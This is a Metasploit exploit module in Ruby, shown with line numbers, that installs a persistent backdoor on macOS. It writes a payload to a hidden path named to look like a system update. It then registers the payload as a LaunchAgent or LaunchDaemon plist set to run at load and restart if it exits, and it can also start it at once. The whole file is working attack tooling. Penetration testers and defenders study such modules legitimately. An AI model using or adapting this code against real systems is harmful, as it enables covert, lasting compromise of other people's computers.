1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'shellwords'
7

8
class MetasploitModule < Msf::Exploit::Local
9
  Rank = ExcellentRanking
10

11
  include Msf::Post::Common
12
  include Msf::Post::File
13
  include Msf::Exploit::EXE
14
  include Msf::Exploit::Local::Persistence
15
  prepend Msf::Exploit::Remote::AutoCheck
16
  include Msf::Exploit::Deprecated
17
  moved_from 'exploits/osx/local/persistence'
18

19
  def initialize(info = {})
20
    super(
21
      update_info(
22
        info,
23
        'Name' => 'Mac OS X Persistent Payload Installer',
24
        'Description' => %q{
25
          This module provides a persistent boot payload by creating a launch item, which can be
26
          a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
27
          upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
28
          elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
29
          In either case the plist entry specifies an executable that will be run before or at login.
30

31
          Verified on OSX 11.7.10 (Big Sur)
32
        },
33
        'License' => MSF_LICENSE,
34
        'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
35
        'Targets' => [
36
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
37
          [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
38
          [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
39
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
40
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
41
        ],
42
        'DefaultTarget' => 0,
43
        'SessionTypes' => [ 'shell', 'meterpreter' ],
44
        'DisclosureDate' => '2012-04-01',
45
        'Platform' => [ 'osx', 'python', 'unix' ],
46
        'References' => [
47
          ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
48
          ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
49
          ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
50
        ],
51
        'Notes' => {
52
          'Stability' => [CRASH_SAFE],
53
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
54
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4
55
        }
56
      )
57
    )
58

59
    register_options([
60
      OptString.new('BACKDOOR_PATH',
61
                    [
62
                      true, 'Path to hide the backdoor on the target.',
63
                      '~/Library/.<random>/com.system.update'
64
                    ]),
65
      OptBool.new('KEEPALIVE',
66
                  [true, 'Continually restart the payload exe if it crashes/exits.', true]),
67
      OptBool.new('RUN_NOW',
68
                  [false, 'Run the installed payload immediately.', false]),
69
      OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
70
    ])
71
    deregister_options('WritableDir')
72
  end
73

74
  def check
75
    folder = File.dirname(backdoor_path).shellescape
76
    folder = File.dirname(folder)
77
    return CheckCode::Safe("#{folder} not found") unless exists?(folder)
78
    return CheckCode::Safe("#{folder} not writable") unless writable?(folder)
79

80
    CheckCode::Appears("#{folder} is writable")
81
  end
82

83
  def install_persistence
84
    check_for_duplicate_entry
85

86
    if target['Arch'] == ARCH_PYTHON
87
      payload_bin = "#!/usr/bin/env python\n" + payload.encoded
88
    elsif target['Arch'] == ARCH_CMD
89
      payload_bin = "#!/usr/bin/env bash\n" + payload.raw
90
    else
91
      payload_bin = generate_payload_exe
92
    end
93

94
    # Store backdoor on target machine
95
    write_backdoor(payload_bin)
96
    # Add plist file to LaunchAgents dir
97
    add_launchctl_item
98
    @clean_up_rc << "rm #{plist_path}\n"
99
    @clean_up_rc << "execute -f /bin/launchctl -a \"stop  #{File.basename(backdoor_path)}\"\n"
100
    @clean_up_rc << "execute -f /bin/launchctl -a \"remove  #{File.basename(backdoor_path)}\"\n"\
101
  end
102

103
  private
104

105
  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
106
  def add_launchctl_item
107
    label = File.basename(backdoor_path)
108
    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
109
    # NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
110
    item = <<-EOF
111
    <?xml version="1.0" encoding="UTF-8"?>
112
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
113
    <plist version="1.0">
114
      <dict>
115
        <key>Label</key>
116
        <string>#{label}</string>
117
        <key>Program</key>
118
        <string>#{backdoor_path}</string>
119
        <key>ProgramArguments</key>
120
        <array>
121
          <string>#{backdoor_path}</string>
122
        </array>
123
        <key>RunAtLoad</key>
124
        <true/>
125
        <key>OnDemand</key>
126
        <#{keepalive?}/>
127
        <key>KeepAlive</key>
128
        <#{keepalive?}/>
129
      </dict>
130
    </plist>
131
    EOF
132

133
    if write_file(plist_path, item)
134
      print_good("LaunchAgent added: #{plist_path}")
135
      @clean_up_rc << "rm #{plist_path}\n"
136
    else
137
      fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
138
    end
139

140
    if run_now?
141
      cmd_exec("launchctl load -w #{plist_path.shellescape}")
142
    else
143
      print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")
144
    end
145

146
    print_good('LaunchAgent installed successfully.')
147
  end
148

149
  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
150
  # @return [String] path to drop the backdoor payload.
151
  def backdoor_path
152
    @backdoor_path ||= datastore['BACKDOOR_PATH']
153
                       .gsub('<random>') { Rex::Text.rand_text_alpha(8) }
154
                       .gsub(%r{^~/}, "/Users/#{user}/")
155
  end
156

157
  # raises an error if a Launch Agent already exists at desired same plist_path
158
  def check_for_duplicate_entry
159
    if file?(plist_path)
160
      fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
161
    end
162
  end
163

164
  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
165
  def keepalive?
166
    datastore['KEEPALIVE']
167
  end
168

169
  # path to the LaunchAgent service configuration plist
170
  # @return [String] path to the LaunchAgent service
171
  def plist_path
172
    @plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
173
  end
174

175
  # @return [Boolean] user wants to launch the LaunchAgent immediately
176
  def run_now?
177
    datastore['RUN_NOW']
178
  end
179

180
  # @return [String] username of the session
181
  def user
182
    @user ||= cmd_exec('whoami').strip
183
  end
184

185
  # drops the file to disk, then makes it executable
186
  # @param [String] exe the executable to drop
187
  def write_backdoor(exe)
188
    print_status('Dropping backdoor executable...')
189
    cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
190

191
    if write_file(backdoor_path, exe)
192
      print_good("Backdoor stored to #{backdoor_path}")
193
      cmd_exec("chmod +x #{backdoor_path.shellescape}")
194
      @clean_up_rc << "rm #{backdoor_path}\n"
195
    else
196
      fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
197
    end
198
  end
199
end
200

201